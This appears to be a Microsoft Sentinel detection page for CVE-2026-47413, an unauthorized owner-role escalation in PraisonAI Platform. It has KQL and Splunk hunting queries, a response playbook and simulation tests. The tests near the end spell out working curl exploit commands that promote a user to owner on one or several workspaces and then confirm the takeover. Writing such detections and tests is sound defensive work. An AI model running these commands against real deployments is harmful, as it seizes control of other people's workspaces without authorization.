Detect CVE-2026-47413: PraisonAI Platform Unauthorized Workspace Owner Privilege Escalation in Microsoft Sentinel
Detects exploitation of CVE-2026-47413, a critical privilege escalation vulnerability in praisonai-platform < 0.1.4 where any authenticated workspace member can promote arbitrary users to owner role via POST /workspaces/{id}/members without authorization checks. CVSS 9.6. PoC is publicly available.
MITRE ATT&CK
- Tactic
- Privilege Escalation Persistence
KQL Detection Query
union AzureDiagnostics, AppServiceHTTPLogs, W3CIISLog
| where TimeGenerated > ago(24h)
| where RequestUri has "/workspaces/" and RequestUri has "/members"
| where RequestMethod == "POST"
| extend WorkspaceId = extract(@"/workspaces/([^/]+)/members", 1, RequestUri)
| extend RequestBodyStr = tostring(RequestBody)
| where RequestBodyStr has "owner" or RequestBodyStr has "role"
| project TimeGenerated, CallerIpAddress, RequestUri, WorkspaceId, UserAgent, RequestBodyStr, ResultCode
| extend SuspiciousRoleAssignment = iff(ResultCode in (200, 201), true, false)
| where SuspiciousRoleAssignment == true
| summarize AttemptCount = count(), UniqueTargetWorkspaces = dcount(WorkspaceId) by CallerIpAddress, bin(TimeGenerated, 5m)
| where AttemptCount >= 1 Detects POST requests to the /workspaces/{id}/members endpoint that result in successful responses, indicating potential unauthorized owner assignment in PraisonAI Platform.
Data Sources
Required Tables
False Positives & Tuning
- Legitimate workspace administrators adding new owners through the UI
- Automated provisioning scripts that legitimately manage workspace membership
- Load testing or integration test environments hitting the members endpoint
Other platforms for CVE-2026-47413
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Baseline member promotes arbitrary user to owner via POST /workspaces/{id}/members
Expected signal: HTTP access logs show POST /workspaces/{id}/members with 200 or 201 status code, source IP of non-admin user, and request body containing role: owner
- Test 2Mass workspace owner takeover across multiple workspaces
Expected signal: Multiple POST requests to /workspaces/*/members within a short timeframe from the same source IP, all returning 200/201, with owner role in each request body
- Test 3Verify unauthorized owner role assignment via GET /workspaces/{id}/members
Expected signal: GET request to /workspaces/{id}/members returning 200 with JSON body containing owner role entry for the target user, following the POST exploitation request
Response Playbook
Triage
- Identify the source IP and authenticated user account that issued the POST /workspaces/{id}/members request and cross-reference with known admin accounts and expected IP ranges.
- Retrieve the full request body from logs to confirm the 'role' field was set to 'owner' and identify the target user_id that was elevated.
- Query the PraisonAI platform database or admin API to enumerate all current workspace owners and compare against the roster prior to the alert timeframe to identify unauthorized changes.
- Check if the calling user account was a workspace owner at the time of the request — if they were not an owner, confirm the authorization bypass was successfully exploited.
Containment
- Immediately revoke the owner role from any user account that was unauthorized promoted via this vulnerability by accessing the PraisonAI admin panel or directly updating the database.
- Disable or suspend the attacker's user account pending investigation, and rotate any API tokens or session credentials associated with that account.
- Apply network-level controls to block the source IP from accessing the PraisonAI platform API until the investigation is complete.
Evidence Collection
- Capture and preserve all HTTP access logs for the affected /workspaces/{id}/members endpoint covering 72 hours before and after the incident, including request headers, bodies, response codes, and source IPs.
- Export audit logs from the PraisonAI platform for all workspace membership changes within the affected timeframe, and collect a snapshot of current workspace owner assignments for all workspaces.
Escalation Criteria
- !Escalate immediately if the unauthorized owner account was used to access, exfiltrate, or modify sensitive workspace data, AI agent configurations, or API keys stored within any workspace.
- !Escalate if multiple workspace IDs were targeted or if the attacker created additional backdoor accounts with owner privileges across more than one workspace.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
HTTP access logs showing POST /workspaces/{id}/members with 200/201 response codes and owner role in request body - >
PraisonAI platform database records in workspace_members table showing unexpected role changes or new owner entries - >
Authentication/session logs linking the source IP and session token to a non-owner workspace member account
Tuning Guidance
Filter out known administrative service accounts and IP ranges used by authorized PraisonAI platform admins to reduce false positives. If the platform logs the user's current role at request time, add a filter for callers whose role is not 'owner' to sharpen precision. Consider adding a baseline of normal workspace membership change frequency per user and alerting only on deviations. Versions >= 0.1.4 are patched; if environment is confirmed upgraded, this detection can be retired or scoped to legacy instances.
Hunting Queries
Threat hunt for historical POST requests to the PraisonAI workspace members endpoint over the past 7 days to identify if exploitation preceded alert creation, covering the full period since CVE-2026-47413 disclosure on 2026-06-01.
union AzureDiagnostics, AppServiceHTTPLogs
| where TimeGenerated > ago(7d)
| where RequestUri has "/workspaces/" and RequestUri has "/members"
| where RequestMethod == "POST"
| summarize TotalRequests = count(), UniqueSourceIPs = dcount(CallerIpAddress), UniqueWorkspaces = dcount(extract(@"/workspaces/([^/]+)/members", 1, RequestUri)) by bin(TimeGenerated, 1h)
| where TotalRequests > 0
| order by TotalRequests desc index=web_logs uri="*/workspaces/*/members" method=POST earliest=-7d
| rex field=uri "/workspaces/(?P<workspace_id>[^/]+)/members"
| stats count AS total_requests, dc(src_ip) AS unique_ips, dc(workspace_id) AS unique_workspaces BY date_hour
| sort -total_requests Atomic Red Team Tests
Simulates CVE-2026-47413 by authenticating as a non-owner workspace member and issuing a POST request to assign owner role to a target user, demonstrating the missing authorization check.
Command
TARGET_URL='http://localhost:8000'; MEMBER_TOKEN='<member_jwt_token>'; WORKSPACE_ID='<workspace_uuid>'; TARGET_USER_ID='<target_user_uuid>'; curl -s -X POST "${TARGET_URL}/workspaces/${WORKSPACE_ID}/members" -H "Authorization: Bearer ${MEMBER_TOKEN}" -H 'Content-Type: application/json' -d "{\"user_id\": \"${TARGET_USER_ID}\", \"role\": \"owner\"}" -w '\nHTTP_STATUS:%{http_code}\n' Cleanup
curl -s -X DELETE "${TARGET_URL}/workspaces/${WORKSPACE_ID}/members/${TARGET_USER_ID}" -H "Authorization: Bearer <admin_jwt_token>" -H 'Content-Type: application/json' Expected Telemetry
HTTP access logs show POST /workspaces/{id}/members with 200 or 201 status code, source IP of non-admin user, and request body containing role: owner
Expected Detection
Detection fires on successful POST to workspace members endpoint with owner role assignment from non-privileged account
Simulates an attacker using CVE-2026-47413 to escalate to owner across multiple workspaces in sequence, demonstrating the blast radius of the vulnerability for a member with cross-workspace access.
Command
TARGET_URL='http://localhost:8000'; MEMBER_TOKEN='<member_jwt_token>'; TARGET_USER_ID='<attacker_user_uuid>'; for WORKSPACE_ID in '<workspace_1>' '<workspace_2>' '<workspace_3>'; do echo "Targeting workspace: ${WORKSPACE_ID}"; curl -s -X POST "${TARGET_URL}/workspaces/${WORKSPACE_ID}/members" -H "Authorization: Bearer ${MEMBER_TOKEN}" -H 'Content-Type: application/json' -d "{\"user_id\": \"${TARGET_USER_ID}\", \"role\": \"owner\"}"; echo; done Cleanup
for WORKSPACE_ID in '<workspace_1>' '<workspace_2>' '<workspace_3>'; do curl -s -X DELETE "${TARGET_URL}/workspaces/${WORKSPACE_ID}/members/${TARGET_USER_ID}" -H "Authorization: Bearer <admin_jwt_token>"; done Expected Telemetry
Multiple POST requests to /workspaces/*/members within a short timeframe from the same source IP, all returning 200/201, with owner role in each request body
Expected Detection
Detection fires multiple times in rapid succession; aggregated view shows high count of unique workspace IDs targeted by single source IP
Post-exploitation step confirming successful privilege escalation by retrieving workspace member list and verifying the target user now appears with owner role.
Command
TARGET_URL='http://localhost:8000'; MEMBER_TOKEN='<member_jwt_token>'; WORKSPACE_ID='<workspace_uuid>'; curl -s -X GET "${TARGET_URL}/workspaces/${WORKSPACE_ID}/members" -H "Authorization: Bearer ${MEMBER_TOKEN}" | python3 -m json.tool | grep -A2 '"role": "owner"' Cleanup
No cleanup required for read-only verification step; revert role changes made in preceding atomic test. Expected Telemetry
GET request to /workspaces/{id}/members returning 200 with JSON body containing owner role entry for the target user, following the POST exploitation request
Expected Detection
Sequence-based detection (e.g. Elastic EQL) correlates the POST escalation with subsequent GET verification; individual query detections log the confirming GET request